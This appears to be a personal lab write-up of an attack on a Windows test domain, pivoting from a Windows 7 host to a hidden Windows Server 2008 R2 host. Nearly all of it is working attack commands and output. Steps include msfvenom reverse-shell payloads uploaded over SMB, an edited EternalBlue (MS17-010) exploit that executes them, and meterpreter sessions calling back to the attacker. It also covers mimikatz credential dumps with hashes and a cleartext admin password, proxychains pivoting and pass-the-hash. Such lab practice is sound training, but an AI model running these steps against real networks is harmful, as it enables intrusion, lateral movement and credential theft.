win7 pivot to win2k8

We are given the credential:
adminuser
P@ssw0rd

Nmap results on widows 7 machine

```
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: HACK)
3389/tcp  open  tcpwrapped
|_ssl-date: 2019-11-22T14:41:00+00:00; 0s from scanner time.
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
55369/tcp open  msrpc        Microsoft Windows RPC
55428/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:69:E9:45 (VMware)
Service Info: Host: WIN7; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
Host script results:
|_clock-skew: mean: -2h00m00s, deviation: 4h00m00s, median: 0s
|_nbstat: NetBIOS name: WIN7, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:69:e9:45 (VMware)
| smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN7
|   NetBIOS computer name: WIN7\x00
|   Domain name: hack.net
|   Forest name: hack.net
|   FQDN: WIN7.hack.net
|_  System time: 2019-11-22T22:41:00+08:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-11-22 09:41:00
|_  start_date: 2019-11-21 09:57:30
```

Manually exploiting eternalblue:
https://null-byte.wonderhowto.com/how-to/manually-exploit-eternalblue-windows-server-using-ms17-010-python-exploit-0195414/

Test if remote machine is vulnerable to eternalblue

```
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts win7vm
rhosts => win7vm
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.2.100:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x86 (32-bit)
[*] win7vm:445            - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Creation of payload, reverse tcp

```
root@kali:~/pwn/win7# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.9
8 lport=4444 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payl
oad
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
```

Determine which shares are writable

```
[+] User SMB session establishd on 192.168.2.100...
[+] IP: 192.168.2.100:445       Name: win7vm

        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    NO ACCESS
        Temp                                                    READ, WRITE
```

Connect to windows 7 remote share and upload reverse shell

```
root@kali:~/pwn/w7# smbclient //192.168.2.100/temp -U adminuser
Enter WORKGROUP\adminuser's password:
Try "help" to get a list of possible commands.
smb: \> put shell.exe
putting file shell.exe as \shell.exe (10295.9 kb/s) (average 10296.0 kb/s)
```

Confirmed that shell.exe has been uploaded successfully

```
smb: \> dir
  .                                   D        0  Fri Nov 22 10:15:25 2019
  ..                                  D        0  Fri Nov 22 10:15:25 2019
  ADMINPAK-README.TXT                AR     6236  Wed Apr  2 04:29:02 2003
  adminpak.msi                       AR 13128192  Wed Apr  2 03:41:36 2003
  apver.vbs                          AR    60358  Wed Apr  2 05:34:12 2003
  KMSpico_setup                       D        0  Thu Nov 21 10:02:47 2019
  KMSpico_setup.zip                   A  3779915  Mon May 13 20:48:26 2019
  shell.exe                           A    73802  Fri Nov 22 10:15:25 2019
```

Editing of eternalblue exploit
Change username and password

```
USERNAME = 'adminuser'
PASSWORD = 'P@ssw0rd'
```

Once the exploit runs, execute a malicious reverse tcp meterpreter payload located on the temp directory

```
def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
        service_exec(conn, r'cmd /c c:\\temp\shell.exe')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."
```

Missing screenshot on how to find named pipes using pipe_auditor
To run exploit: python 192.168.2.100 netlogon
192.168.2.100 -> victim
netlogon -> named pipes

Run listener and wait for reverse shell

```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.98:4444
[*] Sending stage (179779 bytes) to 192.168.2.100
[*] Meterpreter session 1 opened (192.168.2.98:4444 -> 192.168.2.100:49282) at 2019-11-22 10:30:35 -0500

meterpreter >
```

Gather creds

```
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.1.1 20180925 (x86/windows)
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

Success.
```

```
meterpreter > creds_msv
[!] Not running as SYSTEM, execution may fail
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > creds_msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

Username    Domain  LM                                NTLM                              SHA1
--------    ------  --                                ----                              ----
WIN7$       HACK                                      d23cbb9dd8a7f29fc366f5a4f443edda  3427c592196160b65628aa33a10287b387a3930a
normaluser  HACK    921988ba001dc8e138f10713b629b565  ae974876d974abd805a989ebead86846  0b5811b3cb079b5bb5303b5d958ecd9f3f1cf03a
```

Sources for pivoting:
https://medium.com/swlh/metasploit-pivoting-281636b23279
https://www.hackingtutorials.org/metasploit-tutorials/metasploitable-3-port-forwarding/
https://pentest.blog/explore-hidden-networks-with-double-pivoting/

Find ip of the 2nd interface

```
Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:69:e9:3b
MTU          : 1500
IPv4 Address : 192.168.207.134
IPv4 Netmask : 255.255.255.0
```

Creates a route to the hidden network

```
meterpreter > run autoroute -s 192.168.207.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.207.0/255.255.255.0...
[+] Added route to 192.168.207.0/255.255.255.0 via 192.168.2.100
[*] Use the -p option to list all active routes
```

```
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.207.0      255.255.255.0      Session 16
```

Discover machines on network which are not accessible from the outside

```
meterpreter > run arp_scanner
Display all 284 possibilities? (y or n)
meterpreter > run arp_scanner -r 192.168.207.0/24
[*] ARP Scanning 192.168.207.0/24
[*] IP: 192.168.207.2 MAC 00:50:56:f1:09:47
[*] IP: 192.168.207.1 MAC 00:50:56:c0:00:08
[*] IP: 192.168.207.134 MAC 00:0c:29:69:e9:3b
[*] IP: 192.168.207.133 MAC 00:0c:29:13:25:3d
[*] IP: 192.168.207.254 MAC 00:50:56:f3:67:00
[*] IP: 192.168.207.255 MAC 00:0c:29:69:e9:3b
meterpreter >
```

Set rhost 192.168.2.98(attacking machine ip)
Leave lport at default(1080)
Type run and press enter

```
msf5 auxiliary(server/socks4a) > options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.2.98     yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy
```

```
msf5 auxiliary(server/socks4a) > run
[*] Running module against 192.168.2.98
[*] Auxiliary module running as background job 8.

[*] Starting the socks4a proxy server
msf5 auxiliary(server/socks4a) >
```

```
msf5 auxiliary(server/socks4a) > jobs

Jobs
====

  Id  Name                          Payload  Payload opts
  --  ----                          -------  ------------
  8   Auxiliary: server/socks4a

msf5 auxiliary(server/socks4a) >
```

Edit /etc/proxychains.conf

```
#
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
socks4 192.168.2.98 1080
~
```

To scan win2008r2 machine on hidden network, use proxychains

```
root@kali:/usr/share/nmap/scripts# proxychains nmap -sT -Pn -p445 -script smb-vuln-ms17-010.nse 192.168.207.133
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-23 06:53 EST
|S-chain|-<>-192.168.2.98:1080-<><>-192.168.207.133:445-<><>-OK
|S-chain|-<>-192.168.2.98:1080-<><>-192.168.207.133:445-<><>-OK
Nmap scan report for 192.168.207.133
Host is up (0.062s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 2.10 seconds
```

List writable share of the win2008r2 machine

```
root@kali:~/pwn/w7# !!
proxychains smbmap -u normaluser -d hack -p 921988ba001dc8e138f10713b629b565:ae974876d974abd805a989ebead86846 -H 192.168.207.133
ProxyChains-3.1 (http://proxychains.sf.net)
[+] Finding open SMB ports....
|S-chain|-<>-192.168.2.98:1080-<><>-192.168.207.133:445-<><>-OK
[+] Hash detected, using pass-the-hash to authentiate
|S-chain|-<>-192.168.2.98:1080-<><>-192.168.207.133:445-<><>-OK
[+] User session establishd on 192.168.207.133...
[+] IP: 192.168.207.133:445     Name: 192.168.207.133
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    NO ACCESS
        NETLOGON                                                READ ONLY
        SYSVOL                                                  READ ONLY
        Temp                                                    READ, WRITE
```

Create payload specifically for the Win2008r2 machine

```
root@kali:~/pwn/w7# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.98 lport=33333 -f exe > shell_win2k8.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
root@kali:~/pwn/w7#
```

Upload reverse shell to Win2008r2 machine

```
root@kali:~/pwn/w7# proxychains smbclient //192.168.207.133/temp -U hack\\normaluser
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.168.2.98:1080-<><>-192.168.207.133:445-<><>-OK
Enter HACK\normaluser's password:
Try "help" to get a list of possible commands.
smb: \>
```

```
smb: \> put shell_win2k8.exe
putting file shell_win2k8.exe as \shell_win2k8.exe (166.4 kb/s) (average 166.4 kb/s)
smb: \> dir
  .                                   D        0  Sat Nov 23 08:42:11 2019
  ..                                  D        0  Sat Nov 23 08:42:11 2019
  apver.vbs                          AR    60358  Wed Apr  2 05:34:12 2003
  python-2.7.17.msi                   A 19570688  Fri Nov 22 09:23:44 2019
  shell_win2k8.exe                    A    73802  Sat Nov 23 08:42:11 2019

                5216767 blocks of size 4096. 2567452 blocks available
smb: \>
```

Searching for named pipes

```
Module options (auxiliary/scanner/smb/pipe_auditor):

   Name         Current Setting                                                Required
   ----         ---------------                                                --------
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes
   RHOSTS       192.168.207.133                                                yes
   SMBDomain    hack                                                           no
   SMBPass      P@ssw0rd1                                                      no
   SMBUser      normaluser                                                     no
   THREADS      1                                                              yes

msf5 auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.207.133:445    - Pipes: \netlogon, \lsarpc, \samr, \atsvc, \epmapper, \eventlo
cted_storage, \scerpc, \srvsvc, \W32TIME_ALT, \wkssvc
[*] 192.168.207.133:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/pipe_auditor) >
```

Re-edit the exploit file again

```
USERNAME = 'normaluser'
PASSWORD = 'P@ssw0rd1'
```

```
def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
        service_exec(conn, r'cmd /c c:\\temp\shell_win2k8.exe')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."
```

Use proxychains to execute exploit to ensure traffic is routed to victim computer

```
root@kali:~/pwn/w7# proxychains python exploit.py 192.168.207.133 netlogon
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.168.2.98:1080-<><>-192.168.207.133:445-<><>-OK
Target OS: Windows Server 2008 R2 Standard 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa801a26c020
SESSION: 0xfffff8a0018fade0
FLINK: 0xfffff8a005353088
InParam: 0xfffff8a00533215c
MID: 0x2503
unexpected alignment, diff: 0x20088
leak failed... try again
CONNECTION: 0xfffffa801a26c020
SESSION: 0xfffff8a0018fade0
FLINK: 0xfffff8a005365088
InParam: 0xfffff8a00535f15c
MID: 0x2503
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Opening SVCManager on 192.168.207.133.....
Creating service DVzl.....
Starting service DVzl.....
The NETBIOS connection with the remote host timed out.
Removing service DVzl.....
ServiceExec Error on: 192.168.207.133
Unexpected answer from server: Got 46, Expected 47
Done
```

Reverse shell popped

```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.98:33333
[*] Sending stage (179779 bytes) to 192.168.2.97
[*] Meterpreter session 22 opened (192.168.2.98:33333 -> 192.168.2.97:49455) at 2019-11-23 08:53:33 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Upload mimikatz to victim machine and run mimikatz

```
C:\mimi\x64>mimikatz.exe
mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
```

```
User Name         : Administrator
Domain            : HACK
Logon Server      : WIN2008
Logon Time        : 11/23/2019 8:34:53 PM
SID               : S-1-5-21-3816458202-3420769720-3034736060-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : HACK
         * LM       : 99d7bed7a618f853750351884845ace4
         * NTLM     : 313d5d5b879ab0b9b3bbb2bb4ec9c697
         * SHA1     : 2c51df2937a28743c55d2cf90c69b8e8c03d3f0e
        tspkg :
         * Username : Administrator
         * Domain   : HACK
         * Password : 1qwer$#@!
        wdigest :
         * Username : Administrator
         * Domain   : HACK
         * Password : 1qwer$#@!
        kerberos :
         * Username : Administrator
         * Domain   : HACK.NET
         * Password : 1qwer$#@!
```

Remote desktop to victim machine/no issues

```
root@kali:~/pwn/w7# proxychains rdesktop -g1440x900 -d hack -u administrator -p 1qwer$#@! 192.168.207.133
ProxyChains-3.1 (http://proxychains.sf.net)
Autoselected keyboard map en-us
|S-chain|-<>-192.168.2.98:1080-<><>-192.168.207.133:3389-<><>-OK
ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
|S-chain|-<>-192.168.2.98:1080-<><>-192.168.207.133:3389-<><>-OK
Connection established using SSL.
WARNING: Remote desktop does not support colour depth 24; falling back to 16
```